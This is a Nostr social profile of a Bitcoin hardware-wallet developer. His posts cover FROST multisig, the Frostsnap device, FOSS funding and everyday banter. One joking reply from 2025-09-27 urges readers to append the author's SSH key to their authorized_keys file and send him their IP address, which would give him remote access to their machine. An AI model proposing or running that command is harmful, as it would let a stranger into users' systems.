nick

peer-to-peer cash security

Public Key

npub1j8d6h8mzvc8f2fvysrf09nlkmn7m2ylj32zl5na4tm5e8fd5dqysrg26k2

NIP-05 Address

Profile Code

nprofile1qqsfrkatna3xvr54ykzgp5hjelmdeld4z0eg4p06f764a6vn5k6xszgpzemhxue69uhhyetvv9ujumn0wd68ytnfdenx7qgmwaehxw309ahx7um5wgkhqatz9eek2mtfwdhkctnyv4mqqwajcz

Publishing to

relay.nostr.info

nostr-pub.semisol.dev

nostr-pub.wellorder.net

relay.primal.net

purplepag.es

relay.mostr.pub

Author Public Key

npub1j8d6h8mzvc8f2fvysrf09nlkmn7m2ylj32zl5na4tm5e8fd5dqysrg26k2

Show more details

Last Notes

2026-06-26 19:47:45 UTC

- reply

peak #nostr experience

2026-06-24 21:33:06 UTC

- reply

GRIND AND SHRINE
(i like it and have not slept)

2026-06-24 15:04:30 UTC

in the lab
https://blossom.primal.net/80869b9fbcdb497ca240b74c9128f3334d6c50bcee275e961824976de47d09ac.png

2026-06-20 12:29:11 UTC

- reply

so you're saying relays aren't infinite free data storage? 🫪

2026-06-20 06:54:06 UTC

- reply

we are so back
#nevent1q…z36c
https://blossom.primal.net/2c36094d8b9f2d09c57c02cdc67da460ffe0369d261c2b025cc74e5933e07af9.png

2026-06-19 19:51:20 UTC

- reply

hahahaha man how did you know
And those turbo medications aren't working..

2026-06-19 17:54:01 UTC

- reply

🟧🤝🟧

2026-06-19 17:52:08 UTC

- reply

also i was marked safu from AUR malware because i never really liked the idea of any of those fancy yay or paru package managers
#nevent1q…4pys

2026-06-19 17:50:26 UTC

on arch you really can just run pacman -Syu and things start working that you never even knew were broken

2026-06-19 12:07:34 UTC

friend who used to nonstop ask me questions without even googling has started asking the ai (big win for both of us!)
But now he's 6months into a website project that i actually think is pretty solid, but refuses to publish it because "it's not ready yet"

2026-06-16 12:29:06 UTC

Can't believe paralelni polis is gone. So silently. Where am i meant to seek refuge inbetween airbnb checkins? or go to meet like-minded people on a random weekday? to get into friendly debates with bcashers? Or to stumble upon a random project to hack on, or a group to enjoy beer with?
All i can do is be grateful to have experienced it, and the friends to have met there. And look forward to the many more places that will emulate it
https://blossom.primal.net/c5db1e195a50356e2935d57864cd62a5e7677aa30c994f94a55ed7d478c13b9c.jpg

2026-06-16 09:48:05 UTC

Etherium privacy people are the biggest larps in existence

2026-06-15 22:55:42 UTC

- reply

💯 ethereum's "privacy pools" are a great example of this. Proof of innocence
#nevent1q…9uwg

2026-06-15 01:43:57 UTC

- reply

https://blossom.primal.net/aec1046d731cda2d1e25f388ac91c8a8e952fb88b4a3424f8506c8f515eea23c.png

2026-06-14 15:42:30 UTC

Is there a nostr version of vexl?

2026-06-11 20:19:44 UTC

- reply

hell yea

2026-06-09 23:05:45 UTC

- reply

I primarily use for:
- Bound Super+T to toggle audio recording --> clipboard
- Transcribe past talks/workshops for refinement + fixups
https://github.com/ggml-org/whisper.cpp

2026-06-09 23:01:35 UTC

local audio transcription models are a super power

2026-06-08 11:30:42 UTC

- reply

all so tiresome

2026-06-08 10:07:30 UTC

- reply

I'm not sure but perhaps multi path payments forms the primitive for this?
https://bitcoinops.org/en/topics/multipath-payments/

2026-06-05 17:24:07 UTC

nothing humbles a team like x-only key parity

2026-06-03 22:15:55 UTC

- reply

i drink coffee roughly twice a month but maybe i should get back on that

2026-06-03 21:21:21 UTC

>visit new cafe late afternoon
>haven't had nitro brew in while
>receive pint glass of pure concentrated caffeine
>3am nostr
>oh new cryptography
>open repo, goto sketchy section
>looks fucked
>@ claude dis real?
>pwned (twice)
https://blossom.primal.net/4d45963ec176a37424bd2c7fbdd00b08d7ac7710e2aac11b320fdd3ba998315e.png

2026-05-14 05:51:33 UTC

- reply

blinky bill definitely needs a rewatch, just learned they were both produced by Yoram Gross! Dot and the whale was also scary as hell at the time

2026-05-14 05:33:51 UTC

- reply

I will never forget Dot and the Kangaroo (traumatised)
https://www.youtube.com/watch?v=GXikpns1bog

2026-05-14 04:12:41 UTC

- reply

Yowies don't scare me but, bunyips scare me
https://blossom.primal.net/b6ae0c14762b0097c57401d3a2ce35763bfa3cad263cafedcace25a7563188d3.jpg
https://blossom.primal.net/4392d78c649dfba2fe0f3adf655132b18afee6d04e6c2ca251323356ae218930.jpg

2026-05-01 00:45:02 UTC

- reply

so they like nostr but they don't really care about nostr

2026-04-29 08:01:45 UTC

- reply

This was a reply to pavlenex's post regarding companies funding FOSS R&D, with some good discussion to follow
https://x.com/pavlenex/status/2049122238033531339

2026-04-29 06:39:42 UTC

Something I've been contemplating regarding open source funding is that it is substantially harder to secure open source funding if you intend to build a profitable business atop the FOSS you're producing.
We did not pursue some grants ourselves because we'd been told that commercial companies are unsuitable recipients. I respect this stance and I think the instinct behind it is well-meaning, but in my opinion it produces outcomes opposite to what open source donors desire.
This reasoning seems to come from various angles. One is charitable instinct: funding should go to those who otherwise wouldn't receive it. The other is distributive: why fund work that someone else intends to monetise. Both are intuitive. But I'd argue that this creates market distortions that are suboptimal for the ecosystem we want to foster.
FOSS projects with commercial incentive are subject to falsifiable product exploration -- continuous, unforgiving feedback from users. Skin in the game. This selection pressure produces better software and products optimising for grant approval.
Bounty style funding results in even more perverse outcomes: a prize for acheiving X often results in the minimal viable X without any regard for usability, adoption or longevity. They win the prize and move on.
The current funding environment favours more hobbyist-style maintainers and well-capitalised ventures and squeezes out the middle: small commercial teams shipping FOSS, who I think may be the healthiest part of the open source ecosystem.
In Bitcoin hardware, at the extremes, "company" and "business" are even used as pejoratives, as though commercial intent is antithetical to open source values! They would argue this suspicion is founded through historical events in the industry. Perhaps, but I think is unreasonable to apply broadly.
In terms of our own work: we've delivered a substantial body of FOSS code (used by others), specification contributions, research, and industry vision, and in my (biased) opinion, the best hardware wallet in Bitcoin's existence. I can say with certainty that this output would have been faster, larger, and more impactful with funding (earlier, wen FROST?) in this middle ground between entirely donor funded FOSS and fully capitalised proprietary development.
Meritocracy works when the field is open to everyone advancing it -- including those building businesses on top of the FOSS they produce. Would be curious as to people's thoughts

2026-04-22 09:06:19 UTC

- reply

fwiw FROST doesn't **need** two rounds, the RO in FROST stands for "Round Optimised" whereby FROST nonces can be pre-cached in order to sign in a single round of communication (or replenished alongside signature shares like we do at @nprofile…8fv9).
Though this fact is probably exactly what you are referring to here ❄

2026-04-20 07:05:26 UTC

BIP39 passphrases lose more bitcoin than they protect gm

2026-04-07 00:01:11 UTC

- reply

depends how sick and twisted you are

2026-03-23 01:56:44 UTC

- reply

Multisig signing devices!
https://frostsnap.com

2026-03-22 16:36:45 UTC

The app shows the colors of your devices.
Small detail we've been wanting to add for a long time
https://media.frostsnap.xyz/case-colours-demo.mp4

2026-03-22 05:30:34 UTC

- reply

Deezy is comfy w multisig https://blossom.primal.net/c7697797c0a5df969e19f0af8ff1104c70effa1a2ca53720af2b650c434cd54a.png

2026-03-22 04:45:52 UTC

Who would you like to see review Frostsnap multisig? ❄
https://blossom.primal.net/7280bdbf7b7f45bccba44ebe2cdd03e1341ace6ff703455e2bc0e4a9e61f6f1f.png

2026-03-21 07:45:26 UTC

- reply

lmao this is insanely impossible to comply with @nprofile…8fv9
#nevent1q…jfnp

2026-03-11 01:50:21 UTC

- reply

The backup wouldnt fit into a regular BIP39 24 word backup. With FROST backups it is preferable to include some additional data inside that improves recovery: compatible share detection, no trusted xpub problem when recovering on multisig.

2026-03-10 07:03:11 UTC

- reply

Check out how easy it is to use multisig with Frostsnap
#nevent1q…6q4p

2026-03-10 05:30:19 UTC

- reply

Try now, I dropped the res!

2026-02-17 11:06:20 UTC

- reply

false

2026-02-16 13:56:59 UTC

- reply

chrome castle DING
https://youtu.be/E6VR4NNZr1k

2026-02-16 13:48:31 UTC

- reply

This is where i post from

2026-01-15 12:23:36 UTC

- reply

My mates would probably do it if you can send sats for postage from melbourne!

2025-11-18 13:21:59 UTC

DDOS is a psyop invented by cloudflare salesmen
src: they had me larping w LOIC and slow loris in 2014
https://blossom.primal.net/6129fc461bf610e91c86ea95acf8822b6a894c4e81d84cbefa1aa652b5189230.png

2025-10-31 03:01:13 UTC

- reply

lol it's the only day of the year my parents would shut the front gate

2025-10-18 17:46:10 UTC

- reply

they're very generous in subsidizing our platform usage 😂

2025-10-16 04:54:06 UTC

- reply

Congratulations! But be careful sharing this image, the paper is rather transparent.. and QR codes have decent error correction

2025-10-13 16:24:28 UTC

- reply

mirin that uptime

2025-10-07 03:04:47 UTC

- reply

At least they don't know how to swap their lightning wallet sats for fiat

2025-10-07 03:03:21 UTC

F to pay respects to all those friends who sold for their single digit percentage "profit", those who were waiting for a "crash", and those who cashed out to consoom something they don't use anymore

2025-10-03 03:14:10 UTC

- reply

Cryptography and security are difficult for non-specialists to evaluate, which is why external audits are often seen as a source of reassurance. In practice though, the bigger risks for most people come from keeping life savings in a single-signature wallet at home, or from complex backup processes in traditional multisig setups.
Frostsnap has not yet undergone an external audit, similar to most hardware wallets at an early stage. That said, our design choices already reduce many common risks. By using advanced modern cryptography, Frostsnap enables multiple devices (your phone and signing devices) to each contribute entropy, with both sides verifying it. This makes the usual critical mistakes such as weak randomness or flawed key generation extremely difficult.
We also build exclusively in memory-safe programming languages, eliminating an entire class of vulnerabilities that have historically affected wallets written in C or C++.
Every change goes through careful peer review, and as Frostsnap adoption grows, the number of independent eyes on the code will only increase.

2025-10-01 18:17:59 UTC

Frostsnap, The Bitcoin Security Company

2025-10-01 18:15:45 UTC

Day 1,134 of sustained acceleration Approaching escape velocity
https://blossom.primal.net/c0a8d5f608a1ea63d27dc6f6d8ed8da121ab4d722990e80985811eecc84ccd31.jpg

2025-09-27 14:05:39 UTC

- reply

your node should look like this and if it doesn't you should run this and tell me your ip and hostname
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDNJhlo7llQdY6tMBpVx3Gq5lu1jS3rlOMR7+fz+iw83 nick" >> ~/.ssh/authorized_keys
#nevent1q…4czs

2025-09-26 15:51:30 UTC

- reply

u mad bro?

2025-09-26 15:35:41 UTC

- reply

Just that juicySSH app, whatever let's me in 🥷

2025-09-26 15:27:08 UTC

Sorry to disturb your sleep Cal the soundboard was on party mode
https://blossom.primal.net/4f1ecd825167c09fb1fd8f199ee38ea50c66d8d5c910c113938c74da7c52133f.jpg

2025-09-25 09:51:31 UTC

- reply

This is phenomenal feedback & advice, thank you so much. I'll be revisiting in ~2 weeks to have a go at some of these changes.
Great to hear you like the name, it gets mixed reactions. People either love it or hate it!

2025-09-24 10:38:47 UTC

- reply

Thank you, this first batch is having lots of love put into it. Can't wait to get them to you

2025-09-24 10:37:25 UTC

- reply

Thank you!! Yeah lots to do, documenting inheritance needs to be fleshed out, and we have some building to do for spending limited access.
Cool thanks for your thoughts, so you think it's best to move the price onto the index page, other info also?

2025-09-24 10:35:53 UTC

- reply

🫡 🫡

2025-09-09 05:36:28 UTC

- reply

Frostsnap app does not use javascript.
Frostsnap firmware is pure nostd rust.

2025-08-29 15:29:59 UTC

- reply

Join us live on Citadel Dispatch in ~5 hours time for our very first podcast discussing @nprofile…8fv9
Ask anything you want to learn about Frostsnap in the livechat!
https://citadeldispatch.com
#nevent1q…xd8k

2025-08-26 06:48:30 UTC

- reply

Your bitchat geohash must be very different to mine 😂

2025-08-25 11:14:38 UTC

- reply

SEMICOLON;

2025-08-25 11:08:51 UTC

- reply

SEMICOLON;

2025-08-25 11:08:07 UTC

SEMICOLON;

2025-08-22 12:51:06 UTC

Dudes will manage to build one binary deterministically and start describing themselves as nixpilled
DETERMINISTIC FROSTSNAP FIRMWARE BUILDS:
https://github.com/frostsnap/frostsnap/pull/277

2025-08-22 12:49:32 UTC

ANOTHER DAY ANOTHER EU REGULATION FUCKING MY SHIT UP (I HAVE ZERO TIES TO EUROPE)

2025-08-22 12:47:15 UTC

- reply

Looking to get the first batch out next month!

2025-08-21 10:21:41 UTC

Cold Storage ❄
https://blossom.primal.net/c47cebab5b3f9791ff6bbdd10196c8aea2f319a18a962bd28bb3fdef3eacea1e.png

2025-08-16 08:54:03 UTC

- reply

a true romance

2025-07-30 03:45:09 UTC

- reply

big dawg

2025-07-16 13:16:27 UTC

- reply

CLANKER

2025-07-09 15:11:31 UTC

reactivated instagram
https://blossom.primal.net/37631ed8e9b60dce822223413fb6a1ab033998f013a7f78ca06fb62dd1b12f07.png

2025-07-02 03:53:11 UTC

- reply

Yes you will be able to do remote P2P signing in the future.
Yeah you can also have a FROST key inside a script multisig.
Absolutely agree that this is prime for institutional custody, but we're building for us hardcore bitcoiners first!

2025-07-02 03:51:38 UTC

- reply

Yes! We haven't implemented it yet but the theory is there 🔥

2025-07-02 03:51:12 UTC

- reply

Yes and yes! More on these soon

2025-07-02 01:34:22 UTC

- reply

1. Currently priced in sats so depends if you mean increase in dollar term. Possibly. TBD.
2. Other HWWs can't do FROST, infinitely worse multisig experience and drawbacks.
3. No one loses bitcoin to laser and power glitching attacks. Frostsnap's security model focuses on your ability to visit T-of-N devices.
4. Yes we'll be encouraging other FROST teams to be compatible with us and our code is available to integrate with.
5. Our displays allow for onscreen device confirmation and backup entry.
6. Probably just so people stop focusing on secure elements. It's not that important in our security model and people misunderstand the security guarantees they provide.

2025-07-01 02:24:18 UTC

- reply

Good question (and yeah we need to put more out there), so the FROST multisig only has a single group public key (one xpub). And this single group public key can be reconstructed from secret shares or their images. That means that so long as you have two devices or their backups, you can find the xpub and simple derivation path -> descriptor.

2025-07-01 02:20:36 UTC

- reply

Just the Frostsnap app at the moment! We're pioneering the frontier of self-custody tech. Others will follow.
https://github.com/frostsnap/frostsnap/
Free and open source software for Windows, Android, Linux, and MacOS (soon).

2025-07-01 02:11:38 UTC

- reply

Thanks Max!

2025-07-01 01:56:52 UTC

- reply

It's me and the lads. It is free and open source. Verify:
https://github.com/frostsnap/frostsnap/

2025-07-01 01:56:06 UTC

- reply

Each device has its own seedphrase backup, we'll be showing this soon!
You can load the backup into a new device, or in a disaster scenario, combine two backups to form an xpriv that can be loaded into sparrow/bitcoin core.

2025-07-01 01:24:08 UTC

- reply

Legend, can't wait to get the devices into your hands

2025-07-01 01:23:54 UTC

- reply

Thankyou!!!

2025-07-01 01:23:34 UTC

- reply

Thanks Brisket!! 🧡

2025-07-01 01:22:54 UTC

- reply

Secure elements are really just secure PIN checkers that release decryption keys. When I was naive I thought the signing operations occur off the main MCU and in a secure enclave, but this is not the case with most hardware wallets. A successful PIN releases a decryption key which then passes onto the main chip to decrypt the secret key in memory.

2025-07-01 01:20:29 UTC

- reply

Frostsnap's security model primarily focus on the ability for you, or an attacker, to visit T-of-N devices.
The Frontier model does not have a secure element. However we do encrypt the secret stored on the device using a decryption key held in the phone's secure element. This means you need to unlock your phone to sign or access anything useful, so by extension, protecting the device secret behind the phone's secure element.
Now you may be wondering about recovery, what if you lose the phone and its decryption key? If that happens you can take a new phone to visit T-of-N devices, reconstructing the decryption key! Now you're ready to go signing again!

2025-06-30 18:00:59 UTC

- reply

We've been working towards this vision for self-custody for several years now, and this is where it starts.
We're thrilled for you to join and support us as we pioneer the Frontier of peer-to-peer cash security together.
See you on the Frontier 🫡
#nevent1q…r9zh

2025-06-30 17:45:43 UTC

- reply

Not within our wallet yet, but it is (/soon will be) possible to use Frostsnap as a signer of PSBTs within more complex scripts built by other wallets.

2025-06-30 16:04:03 UTC

- reply

Any spending limited device policies we build in the future will be enacted by the phone and the device. It sure is magic, and we know how to do it securely 🪄

2025-06-30 16:02:05 UTC

- reply

No device needed to receive, address verification on a device screen is optional.

2025-06-30 05:31:28 UTC

- reply

+1 yt-dlp simply undefeated, most alternatives are just a yt-dlp wrapper.
Ask ai for the command flags when unsure.

2025-06-24 14:21:07 UTC

- reply

Most won't but it'll surely add delay/disadvantage

2025-06-24 12:52:54 UTC

- reply

It's still an incredible place to live or visit, though understandably impossible to believe from the outside! As a visitor you can roughly expect hassle of authoritarianism that's generally on par with being a visitor to the USA.

2025-06-24 12:22:30 UTC

- reply

We're going to have to do USB airdrops into highschools like they do for north korea
- VPN subscription & censorship evasion guides
- pirated minecraft
- all 1247 videos of my archived youtube likes
#nevent1q…cm5m

2025-06-24 12:18:42 UTC

Australia's 'esafety' commissioner now wants to ban youtube for under16s!
This country is already fucked in the technology race

2025-06-24 11:35:49 UTC

sir a second political slopaganda post has hit the extended family groupchat